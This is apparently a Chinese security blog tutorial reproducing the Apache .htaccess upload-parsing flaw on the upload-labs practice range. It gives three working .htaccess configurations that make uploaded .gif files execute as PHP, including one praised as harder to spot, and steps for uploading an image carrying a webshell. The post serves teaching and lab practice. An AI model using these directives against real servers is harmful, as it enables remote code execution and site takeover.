声明:本文介绍的技术仅供网络安全技术人员及白帽子使用,任何个人或组织不可传播使用相关技术及工具从事违法犯罪行为,一经发现直接上报国家安全机关处理,著作权归【爱国小白帽】所有

实验环境:

  • PHPstudy
  • php5.6以下不带nts的版本
  • upload-labs-master上传漏洞靶场
  • 服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

原理:.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

.htaccess文件内容

.htaccess文件解析规则的增加,是可以按照组合的方式去做的,不过具体得自己多测试。

第一种、虽然好用,但是会误伤其他正常文件,容易被发现
<IfModule mime_module>
AddHandler php5-script .gif          #在当前目录下,只针对gif文件会解析成Php代码执行
SetHandler application/x-httpd-php    #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
第二种、精确控制能被解析成php代码的文件,不容易被发现
<FilesMatch "evil.gif">
SetHandler application/x-httpd-php   #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif          #在当前目录下,如果匹配到evil.gif文件,则被解析成PHP代码执行
</FilesMatch>
第三种、同1没太大区别
<IfModule mime_module>
AddType application/x-httpd-php .gif
</IfModule>

利用方式:上传覆盖.htaccess文件,重写解析规则,将上传的带有脚本马的图片以脚本方式解析。

实验

1、选择upload-labs-master的第四关上传写好的.htaccess文件,这里我用的第二种方法,内容如下:
<FilesMatch "1.gif">
SetHandler application/x-httpd-php   
AddHandler php5-script .gif         
</FilesMatch>

漏洞复现篇——.htaccess文件解析漏洞_安全防护

2、然后再上传写好的1.gif文件

漏洞复现篇——.htaccess文件解析漏洞_漏洞修复_02

3、复制图片地址,打開新的网页成功显示

漏洞复现篇——.htaccess文件解析漏洞_漏洞修复_03
漏洞复现篇——.htaccess文件解析漏洞_漏洞修复_04

欢迎关注公众号,原创不易,转载请注明来源【爱国小白帽】????

漏洞复现篇——.htaccess文件解析漏洞_安全防护_05